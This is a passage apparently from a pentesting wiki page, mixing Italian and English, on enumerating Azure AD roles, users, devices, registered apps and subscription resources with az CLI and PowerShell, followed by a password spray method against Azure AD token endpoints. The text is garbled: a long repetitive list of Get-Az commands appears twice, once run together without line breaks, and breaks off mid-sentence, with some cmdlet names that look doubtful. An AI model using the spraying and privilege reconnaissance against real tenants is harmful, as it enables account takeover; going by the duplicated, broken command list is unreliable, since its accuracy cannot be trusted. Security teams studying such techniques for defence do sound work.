az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,resourceGroup:resourceGroup,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"
# Get all available role templates
Get-AzureADDirectoryroleTemplate
# Get enabled roles (Assigned roles)
Get-AzureADDirectoryRole
Get-AzureADDirectoryRole -ObjectId <roleID> #Get info about the role
# Get custom roles - use AzureAdPreview
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
# Users assigned a role (Global Administrator)
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
Get-AzureADDirectoryRole -ObjectId <id> | fl
# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
Get-AzureADMSScopedRoleMembership -Id <id> | fl *
Az PowerShell
Installazione
Per utilizzare il modulo Az PowerShell, è necessario installarlo. Ecco come farlo:
Install-Module -Name Az -AllowClobber -Scope CurrentUser
Connessione ad Azure AD
Per connettersi ad Azure AD utilizzando Az PowerShell, è possibile utilizzare il comando Connect-AzAccount
. Sarà richiesto di accedere con le credenziali dell'account Azure.
Connect-AzAccount
Ottenere informazioni sull'utente corrente
Per ottenere informazioni sull'utente corrente connesso ad Azure AD, è possibile utilizzare il comando Get-AzADUser
. Questo comando restituirà una serie di informazioni sull'utente, come il nome, l'ID, il ruolo e altro ancora.
Get-AzADUser
Ottenere informazioni sui gruppi
Per ottenere informazioni sui gruppi presenti in Azure AD, è possibile utilizzare il comando Get-AzADGroup
. Questo comando restituirà una lista di gruppi con informazioni come il nome, l'ID, i membri e altro ancora.
Get-AzADGroup
Ottenere informazioni sui ruoli
Per ottenere informazioni sui ruoli presenti in Azure AD, è possibile utilizzare il comando Get-AzADRoleDefinition
. Questo comando restituirà una lista di ruoli con informazioni come il nome, l'ID, le autorizzazioni e altro ancora.
Get-AzADRoleDefinition
Ottenere informazioni sulle app registrate
Per ottenere informazioni sulle app registrate in Azure AD, è possibile utilizzare il comando Get-AzADApplication
. Questo comando restituirà una lista di app con informazioni come il nome, l'ID, i proprietari e altro ancora.
Get-AzADApplication
Ottenere informazioni sulle sottoscrizioni
Per ottenere informazioni sulle sottoscrizioni associate all'account Azure, è possibile utilizzare il comando Get-AzSubscription
. Questo comando restituirà una lista di sottoscrizioni con informazioni come il nome, l'ID, lo stato e altro ancora.
Get-AzSubscription
Ottenere informazioni sulle risorse
Per ottenere informazioni sulle risorse presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzResource
. Questo comando restituirà una lista di risorse con informazioni come il nome, il tipo, la posizione e altro ancora.
Get-AzResource
Ottenere informazioni sulle policy di Azure
Per ottenere informazioni sulle policy di Azure associate a una sottoscrizione, è possibile utilizzare il comando Get-AzPolicyAssignment
. Questo comando restituirà una lista di policy con informazioni come il nome, l'ID, lo stato e altro ancora.
Get-AzPolicyAssignment
Ottenere informazioni sulle reti virtuali
Per ottenere informazioni sulle reti virtuali presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzVirtualNetwork
. Questo comando restituirà una lista di reti virtuali con informazioni come il nome, l'ID, l'intervallo di indirizzi e altro ancora.
Get-AzVirtualNetwork
Ottenere informazioni sugli account di archiviazione
Per ottenere informazioni sugli account di archiviazione presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzStorageAccount
. Questo comando restituirà una lista di account di archiviazione con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzStorageAccount
Ottenere informazioni sui gruppi di sicurezza di rete
Per ottenere informazioni sui gruppi di sicurezza di rete presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzNetworkSecurityGroup
. Questo comando restituirà una lista di gruppi di sicurezza di rete con informazioni come il nome, l'ID, le regole e altro ancora.
Get-AzNetworkSecurityGroup
Ottenere informazioni sui log di monitoraggio
Per ottenere informazioni sui log di monitoraggio presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzLog
. Questo comando restituirà una lista di log di monitoraggio con informazioni come l'ID, il tipo, il livello e altro ancora.
Get-AzLog
Ottenere informazioni sulle macchine virtuali
Per ottenere informazioni sulle macchine virtuali presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzVM
. Questo comando restituirà una lista di macchine virtuali con informazioni come il nome, l'ID, lo stato e altro ancora.
Get-AzVM
Ottenere informazioni sui database SQL
Per ottenere informazioni sui database SQL presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSqlDatabase
. Questo comando restituirà una lista di database SQL con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzSqlDatabase
Ottenere informazioni sui servizi app
Per ottenere informazioni sui servizi app presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzWebApp
. Questo comando restituirà una lista di servizi app con informazioni come il nome, l'ID, lo stato e altro ancora.
Get-AzWebApp
Ottenere informazioni sui servizi di bilanciamento del carico
Per ottenere informazioni sui servizi di bilanciamento del carico presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzLoadBalancer
. Questo comando restituirà una lista di servizi di bilanciamento del carico con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzLoadBalancer
Ottenere informazioni sui servizi di Azure Kubernetes
Per ottenere informazioni sui servizi di Azure Kubernetes presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzAksCluster
. Questo comando restituirà una lista di servizi di Azure Kubernetes con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzAksCluster
Ottenere informazioni sui servizi di Azure Container Registry
Per ottenere informazioni sui servizi di Azure Container Registry presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzContainerRegistry
. Questo comando restituirà una lista di servizi di Azure Container Registry con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzContainerRegistry
Ottenere informazioni sui servizi di Azure Functions
Per ottenere informazioni sui servizi di Azure Functions presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzFunctionApp
. Questo comando restituirà una lista di servizi di Azure Functions con informazioni come il nome, l'ID, lo stato e altro ancora.
Get-AzFunctionApp
Ottenere informazioni sui servizi di Azure Logic Apps
Per ottenere informazioni sui servizi di Azure Logic Apps presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzLogicApp
. Questo comando restituirà una lista di servizi di Azure Logic Apps con informazioni come il nome, l'ID, lo stato e altro ancora.
Get-AzLogicApp
Ottenere informazioni sui servizi di Azure Event Grid
Per ottenere informazioni sui servizi di Azure Event Grid presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzEventGridTopic
. Questo comando restituirà una lista di servizi di Azure Event Grid con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzEventGridTopic
Ottenere informazioni sui servizi di Azure Event Hub
Per ottenere informazioni sui servizi di Azure Event Hub presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzEventHubNamespace
. Questo comando restituirà una lista di servizi di Azure Event Hub con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzEventHubNamespace
Ottenere informazioni sui servizi di Azure Service Bus
Per ottenere informazioni sui servizi di Azure Service Bus presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzServiceBusNamespace
. Questo comando restituirà una lista di servizi di Azure Service Bus con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzServiceBusNamespace
Ottenere informazioni sui servizi di Azure Key Vault
Per ottenere informazioni sui servizi di Azure Key Vault presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzKeyVault
. Questo comando restituirà una lista di servizi di Azure Key Vault con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzKeyVault
Ottenere informazioni sui servizi di Azure Cognitive Services
Per ottenere informazioni sui servizi di Azure Cognitive Services presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzCognitiveServicesAccount
. Questo comando restituirà una lista di servizi di Azure Cognitive Services con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzCognitiveServicesAccount
Ottenere informazioni sui servizi di Azure Search
Per ottenere informazioni sui servizi di Azure Search presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSearchService
. Questo comando restituirà una lista di servizi di Azure Search con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzSearchService
Ottenere informazioni sui servizi di Azure Redis Cache
Per ottenere informazioni sui servizi di Azure Redis Cache presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzRedisCache
. Questo comando restituirà una lista di servizi di Azure Redis Cache con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzRedisCache
Ottenere informazioni sui servizi di Azure CDN
Per ottenere informazioni sui servizi di Azure CDN presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzCdnProfile
. Questo comando restituirà una lista di servizi di Azure CDN con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzCdnProfile
Ottenere informazioni sui servizi di Azure Traffic Manager
Per ottenere informazioni sui servizi di Azure Traffic Manager presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzTrafficManagerProfile
. Questo comando restituirà una lista di servizi di Azure Traffic Manager con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzTrafficManagerProfile
Ottenere informazioni sui servizi di Azure Front Door
Per ottenere informazioni sui servizi di Azure Front Door presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzFrontDoor
. Questo comando restituirà una lista di servizi di Azure Front Door con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzFrontDoor
Ottenere informazioni sui servizi di Azure DDoS Protection
Per ottenere informazioni sui servizi di Azure DDoS Protection presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzDdosProtectionPlan
. Questo comando restituirà una lista di servizi di Azure DDoS Protection con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzDdosProtectionPlan
Ottenere informazioni sui servizi di Azure Firewall
Per ottenere informazioni sui servizi di Azure Firewall presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzFirewall
. Questo comando restituirà una lista di servizi di Azure Firewall con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzFirewall
Ottenere informazioni sui servizi di Azure Virtual WAN
Per ottenere informazioni sui servizi di Azure Virtual WAN presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzVirtualWan
. Questo comando restituirà una lista di servizi di Azure Virtual WAN con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzVirtualWan
Ottenere informazioni sui servizi di Azure ExpressRoute
Per ottenere informazioni sui servizi di Azure ExpressRoute presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzExpressRouteCircuit
. Questo comando restituirà una lista di servizi di Azure ExpressRoute con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzExpressRouteCircuit
Ottenere informazioni sui servizi di Azure VPN Gateway
Per ottenere informazioni sui servizi di Azure VPN Gateway presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzVirtualNetworkGateway
. Questo comando restituirà una lista di servizi di Azure VPN Gateway con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzVirtualNetworkGateway
Ottenere informazioni sui servizi di Azure Bastion
Per ottenere informazioni sui servizi di Azure Bastion presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzBastion
. Questo comando restituirà una lista di servizi di Azure Bastion con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzBastion
Ottenere informazioni sui servizi di Azure Backup
Per ottenere informazioni sui servizi di Azure Backup presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzRecoveryServicesVault
. Questo comando restituirà una lista di servizi di Azure Backup con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzRecoveryServicesVault
Ottenere informazioni sui servizi di Azure Site Recovery
Per ottenere informazioni sui servizi di Azure Site Recovery presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSiteRecoveryVault
. Questo comando restituirà una lista di servizi di Azure Site Recovery con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzSiteRecoveryVault
Ottenere informazioni sui servizi di Azure Monitor
Per ottenere informazioni sui servizi di Azure Monitor presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzMonitorDiagnosticSetting
. Questo comando restituirà una lista di servizi di Azure Monitor con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzMonitorDiagnosticSetting
Ottenere informazioni sui servizi di Azure Security Center
Per ottenere informazioni sui servizi di Azure Security Center presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSecurityCenterSubscription
. Questo comando restituirà una lista di servizi di Azure Security Center con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzSecurityCenterSubscription
Ottenere informazioni sui servizi di Azure Sentinel
Per ottenere informazioni sui servizi di Azure Sentinel presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSentinelWorkspace
. Questo comando restituirà una lista di servizi di Azure Sentinel con informazioni come il nome, l'ID, il tipo e altro ancora.
Get-AzSentinelWorkspace
Ottenere informazioni sui servizi di Azure Policy
Per ottenere informazioni sui servizi di Azure Policy presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzPolicyDefinition
. Questo comando restituirà una
# Get role assignments on the subscription
Get-AzRoleDefinition
# Get Role definition
Get-AzRoleDefinition -Name "Virtual Machine Command Executor"
# Get roles of a user or resource
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res_group_name>/providers/Microsoft.Compute/virtualMachines/<vm_name>
Azure AD
Enumeration
User Enumeration
To enumerate users in Azure AD, you can use the following methods:
Method 1: Azure AD Graph API
You can use the Azure AD Graph API to enumerate users. The API endpoint is https://graph.windows.net/{tenant_id}/users
. You can make a GET request to this endpoint to retrieve a list of users.
Method 2: Microsoft Graph API
You can also use the Microsoft Graph API to enumerate users. The API endpoint is https://graph.microsoft.com/v1.0/users
. You can make a GET request to this endpoint to retrieve a list of users.
Group Enumeration
To enumerate groups in Azure AD, you can use the following methods:
Method 1: Azure AD Graph API
You can use the Azure AD Graph API to enumerate groups. The API endpoint is https://graph.windows.net/{tenant_id}/groups
. You can make a GET request to this endpoint to retrieve a list of groups.
Method 2: Microsoft Graph API
You can also use the Microsoft Graph API to enumerate groups. The API endpoint is https://graph.microsoft.com/v1.0/groups
. You can make a GET request to this endpoint to retrieve a list of groups.
Exploitation
Password Spray Attack
A password spray attack is a type of brute-force attack where an attacker tries a small number of commonly used passwords against a large number of user accounts. This attack is effective because many users tend to use weak passwords.
To perform a password spray attack against Azure AD, you can use the following methods:
Method 1: Azure AD Graph API
You can use the Azure AD Graph API to perform a password spray attack. You can make a POST request to the https://graph.windows.net/{tenant_id}/oauth2/token
endpoint with the following parameters:
grant_type
: Set this topassword
username
: Set this to the target user's usernamepassword
: Set this to a password from your password listclient_id
: Set this to the client ID of your Azure AD applicationclient_secret
: Set this to the client secret of your Azure AD application
If the authentication is successful, you will receive an access token that can be used to access the target user's resources.
Method 2: Microsoft Graph API
You can also use the Microsoft Graph API to perform a password spray attack. You can make a POST request to the https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token
endpoint with the following parameters:
grant_type
: Set this topassword
username
: Set this to the target user's usernamepassword
: Set this to a password from your password listclient_id
: Set this to the client ID of your Azure AD applicationclient_secret
: Set this to the client secret of your Azure AD application
If the authentication is successful, you will receive an access token that can be used to access the target user's resources.
Mitigation
To mitigate the risks associated with Azure AD enumeration and password spray attacks, you can take the following steps:
Implement strong password policies and enforce password complexity requirements.
Enable multi-factor authentication (MFA) for all user accounts.
Regularly monitor and review user and group permissions.
Implement network segmentation to limit lateral movement within your Azure AD environment.
Regularly update and patch your Azure AD environment to protect against known vulnerabilities.
References
# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
Dispositivi
# If you know how to do this send a PR!# Enumerate DevicesGet-AzureADDevice -All $true | fl *# List all the active devices (and not the stale devices)Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}# Get owners of all devicesGet-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwnerGet-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}# Registred users of all the devicesGet-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUserGet-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}# Get dives managed using IntuneGet-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}# Get devices owned by a userGet-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com# Get Administrative Units of a deviceGet-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }
Se un dispositivo (VM) è AzureAD joinato, gli utenti di AzureAD saranno in grado di effettuare il login. Inoltre, se l'utente connesso è Proprietario del dispositivo, sarà amministratore locale.
Applicazioni
Le App sono Registrazioni App nel portale (non Applicazioni Enterprise). Ma ogni Registrazione App creerà un'Applicazione Enterprise (Service Principal) con lo stesso nome. Inoltre, se l'App è un'App multi-tenant, verrà creata un'altra App Enterprise (Service Principal) in quel tenant con lo stesso nome.
Quando viene generata un'App, vengono forniti 2 tipi di autorizzazioni:
Autorizzazioni fornite al Service Principal
Autorizzazioni che l'app può avere e utilizzare a nome dell'utente.
# List Appsaz ad app listaz ad app list --query "[].[displayName]" -o table# Get info of 1 Appaz ad app show --id 00000000-0000-0000-0000-000000000000# Search App by stringaz ad app list --query "[?contains(displayName,'app')].displayName"# Get the owner of an applicationaz ad app owner list --id <id> --query "[].[displayName]" -o table# List all the apps with an application passwordaz ad app list --query "[?passwordCredentials != null].displayName"# List apps that have key credentials (use of certificate authentication)az ad app list --query "[?keyCredentials != null].displayName"# List all registered applicationsGet-AzureADApplication -All $true# Get details of an applicationGet-AzureADApplication -ObjectId <id> | fl *# List all the apps with an application passwordGet-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}# Get owner of an applicationGet-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *Az PowerShellInstallazionePer utilizzare il modulo Az PowerShell, è necessario installarlo. Ecco come farlo:Install-Module -Name Az -AllowClobber -Scope CurrentUserConnessione ad Azure ADPer connettersi ad Azure AD utilizzando Az PowerShell, è possibile utilizzare il comando Connect-AzAccount. Sarà richiesto di accedere con le credenziali dell'account Azure.Connect-AzAccountOttenere informazioni sull'utente correntePer ottenere informazioni sull'utente corrente connesso ad Azure AD, è possibile utilizzare il comando Get-AzADUser. Questo comando restituirà una serie di informazioni sull'utente, come il nome, l'ID, il ruolo e altro ancora.Get-AzADUserOttenere informazioni sui gruppiPer ottenere informazioni sui gruppi presenti in Azure AD, è possibile utilizzare il comando Get-AzADGroup. Questo comando restituirà una lista di gruppi con informazioni come il nome, l'ID, i membri e altro ancora.Get-AzADGroupOttenere informazioni sui ruoliPer ottenere informazioni sui ruoli presenti in Azure AD, è possibile utilizzare il comando Get-AzADRoleDefinition. Questo comando restituirà una lista di ruoli con informazioni come il nome, l'ID, le autorizzazioni e altro ancora.Get-AzADRoleDefinitionOttenere informazioni sulle app registratePer ottenere informazioni sulle app registrate in Azure AD, è possibile utilizzare il comando Get-AzADApplication. Questo comando restituirà una lista di app con informazioni come il nome, l'ID, i proprietari e altro ancora.Get-AzADApplicationOttenere informazioni sulle sottoscrizioniPer ottenere informazioni sulle sottoscrizioni associate all'account Azure, è possibile utilizzare il comando Get-AzSubscription. Questo comando restituirà una lista di sottoscrizioni con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzSubscriptionOttenere informazioni sulle risorsePer ottenere informazioni sulle risorse presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzResource. Questo comando restituirà una lista di risorse con informazioni come il nome, il tipo, la posizione e altro ancora.Get-AzResourceOttenere informazioni sulle policy di AzurePer ottenere informazioni sulle policy di Azure associate a una sottoscrizione, è possibile utilizzare il comando Get-AzPolicyAssignment. Questo comando restituirà una lista di policy con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzPolicyAssignmentOttenere informazioni sulle reti virtualiPer ottenere informazioni sulle reti virtuali presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzVirtualNetwork. Questo comando restituirà una lista di reti virtuali con informazioni come il nome, l'ID, l'intervallo di indirizzi e altro ancora.Get-AzVirtualNetworkOttenere informazioni sugli account di archiviazionePer ottenere informazioni sugli account di archiviazione presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzStorageAccount. Questo comando restituirà una lista di account di archiviazione con informazioni come il nome, l'ID, il tipo e altro ancora.Get-AzStorageAccountOttenere informazioni sui gruppi di sicurezza di retePer ottenere informazioni sui gruppi di sicurezza di rete presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzNetworkSecurityGroup. Questo comando restituirà una lista di gruppi di sicurezza di rete con informazioni come il nome, l'ID, le regole e altro ancora.Get-AzNetworkSecurityGroupOttenere informazioni sui log di monitoraggioPer ottenere informazioni sui log di monitoraggio presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzLog. Questo comando restituirà una lista di log di monitoraggio con informazioni come l'ID, il tipo, il livello e altro ancora.Get-AzLogOttenere informazioni sulle macchine virtualiPer ottenere informazioni sulle macchine virtuali presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzVM. Questo comando restituirà una lista di macchine virtuali con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzVMOttenere informazioni sui servizi appPer ottenere informazioni sui servizi app presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzWebApp. Questo comando restituirà una lista di servizi app con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzWebAppOttenere informazioni sui database SQLPer ottenere informazioni sui database SQL presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSqlDatabase. Questo comando restituirà una lista di database SQL con informazioni come il nome, l'ID, il tipo e altro ancora.Get-AzSqlDatabaseOttenere informazioni sui servizi di bilanciamento del caricoPer ottenere informazioni sui servizi di bilanciamento del carico presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzLoadBalancer. Questo comando restituirà una lista di servizi di bilanciamento del carico con informazioni come il nome, l'ID, il tipo e altro ancora.Get-AzLoadBalancerOttenere informazioni sui servizi di Azure KubernetesPer ottenere informazioni sui servizi di Azure Kubernetes presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzAksCluster. Questo comando restituirà una lista di servizi di Azure Kubernetes con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzAksClusterOttenere informazioni sui servizi di Azure Container RegistryPer ottenere informazioni sui servizi di Azure Container Registry presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzContainerRegistry. Questo comando restituirà una lista di servizi di Azure Container Registry con informazioni come il nome, l'ID, il tipo e altro ancora.Get-AzContainerRegistryOttenere informazioni sui servizi di Azure FunctionsPer ottenere informazioni sui servizi di Azure Functions presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzFunctionApp. Questo comando restituirà una lista di servizi di Azure Functions con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzFunctionAppOttenere informazioni sui servizi di Azure Logic AppsPer ottenere informazioni sui servizi di Azure Logic Apps presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzLogicApp. Questo comando restituirà una lista di servizi di Azure Logic Apps con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzLogicAppOttenere informazioni sui servizi di Azure Event GridPer ottenere informazioni sui servizi di Azure Event Grid presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzEventGridTopic. Questo comando restituirà una lista di servizi di Azure Event Grid con informazioni come il nome, l'ID, il tipo e altro ancora.Get-AzEventGridTopicOttenere informazioni sui servizi di Azure Event HubPer ottenere informazioni sui servizi di Azure Event Hub presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzEventHubNamespace. Questo comando restituirà una lista di servizi di Azure Event Hub con informazioni come il nome, l'ID, il tipo e altro ancora.Get-AzEventHubNamespaceOttenere informazioni sui servizi di Azure Service BusPer ottenere informazioni sui servizi di Azure Service Bus presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzServiceBusNamespace. Questo comando restituirà una lista di servizi di Azure Service Bus con informazioni come il nome, l'ID, il tipo e altro ancora.Get-AzServiceBusNamespaceOttenere informazioni sui servizi di Azure Key VaultPer ottenere informazioni sui servizi di Azure Key Vault presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzKeyVault. Questo comando restituirà una lista di servizi di Azure Key Vault con informazioni come il nome, l'ID, il tipo e altro ancora.Get-AzKeyVaultOttenere informazioni sui servizi di Azure Cognitive SearchPer ottenere informazioni sui servizi di Azure Cognitive Search presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSearchService. Questo comando restituirà una lista di servizi di Azure Cognitive Search con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzSearchServiceOttenere informazioni sui servizi di Azure Redis CachePer ottenere informazioni sui servizi di Azure Redis Cache presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzRedisCache. Questo comando restituirà una lista di servizi di Azure Redis Cache con informazioni come il nome, l'ID, il tipo e altro ancora.Get-AzRedisCacheOttenere informazioni sui servizi di Azure CDNPer ottenere informazioni sui servizi di Azure CDN presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzCdnProfile. Questo comando restituirà una lista di servizi di Azure CDN con informazioni come il nome, l'ID, il tipo e altro ancora.Get-AzCdnProfileOttenere informazioni sui servizi di Azure Traffic ManagerPer ottenere informazioni sui servizi di Azure Traffic Manager presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzTrafficManagerProfile. Questo comando restituirà una lista di servizi di Azure Traffic Manager con informazioni come il nome, l'ID, il tipo e altro ancora.Get-AzTrafficManagerProfileOttenere informazioni sui servizi di Azure Front DoorPer ottenere informazioni sui servizi di Azure Front Door presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzFrontDoor. Questo comando restituirà una lista di servizi di Azure Front Door con informazioni come il nome, l'ID, il tipo e altro ancora.Get-AzFrontDoorOttenere informazioni sui servizi di Azure App ConfigurationPer ottenere informazioni sui servizi di Azure App Configuration presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzAppConfigurationStore. Questo comando restituirà una lista di servizi di Azure App Configuration con informazioni come il nome, l'ID, il tipo e altro ancora.Get-AzAppConfigurationStoreOttenere informazioni sui servizi di Azure DatabricksPer ottenere informazioni sui servizi di Azure Databricks presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzDatabricksWorkspace. Questo comando restituirà una lista di servizi di Azure Databricks con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzDatabricksWorkspaceOttenere informazioni sui servizi di Azure Synapse AnalyticsPer ottenere informazioni sui servizi di Azure Synapse Analytics presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSynapseWorkspace. Questo comando restituirà una lista di servizi di Azure Synapse Analytics con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzSynapseWorkspaceOttenere informazioni sui servizi di Azure Machine LearningPer ottenere informazioni sui servizi di Azure Machine Learning presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzMlWorkspace. Questo comando restituirà una lista di servizi di Azure Machine Learning con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzMlWorkspaceOttenere informazioni sui servizi di Azure Data FactoryPer ottenere informazioni sui servizi di Azure Data Factory presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzDataFactoryV2. Questo comando restituirà una lista di servizi di Azure Data Factory con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzDataFactoryV2Ottenere informazioni sui servizi di Azure Logic AppsPer ottenere informazioni sui servizi di Azure Logic Apps presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzLogicApp. Questo comando restituirà una lista di servizi di Azure Logic Apps con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzLogicAppOttenere informazioni sui servizi di Azure API ManagementPer ottenere informazioni sui servizi di Azure API Management presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzApiManagementService. Questo comando restituirà una lista di servizi di Azure API Management con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzApiManagementServiceOttenere informazioni sui servizi di Azure BatchPer ottenere informazioni sui servizi di Azure Batch presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzBatchAccount. Questo comando restituirà una lista di servizi di Azure Batch con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzBatchAccountOttenere informazioni sui servizi di Azure Cognitive ServicesPer ottenere informazioni sui servizi di Azure Cognitive Services presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzCognitiveServicesAccount. Questo comando restituirà una lista di servizi di Azure Cognitive Services con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzCognitiveServicesAccountOttenere informazioni sui servizi di Azure Media ServicesPer ottenere informazioni sui servizi di Azure Media Services presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzMediaService. Questo comando restituirà una lista di servizi di Azure Media Services con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzMediaServiceOttenere informazioni sui servizi di Azure HDInsightPer ottenere informazioni sui servizi di Azure HDInsight presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzHDInsightCluster. Questo comando restituirà una lista di servizi di Azure HDInsight con informazioni come il nome, l'ID, lo stato e altro ancora.Get-AzHDInsightClusterOttenere informazioni sui servizi di Azure DevOpsPer ottenere informazioni sui servizi di Azure DevOps presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzDevOpsOrganization. Questo comando restituirà una lista di 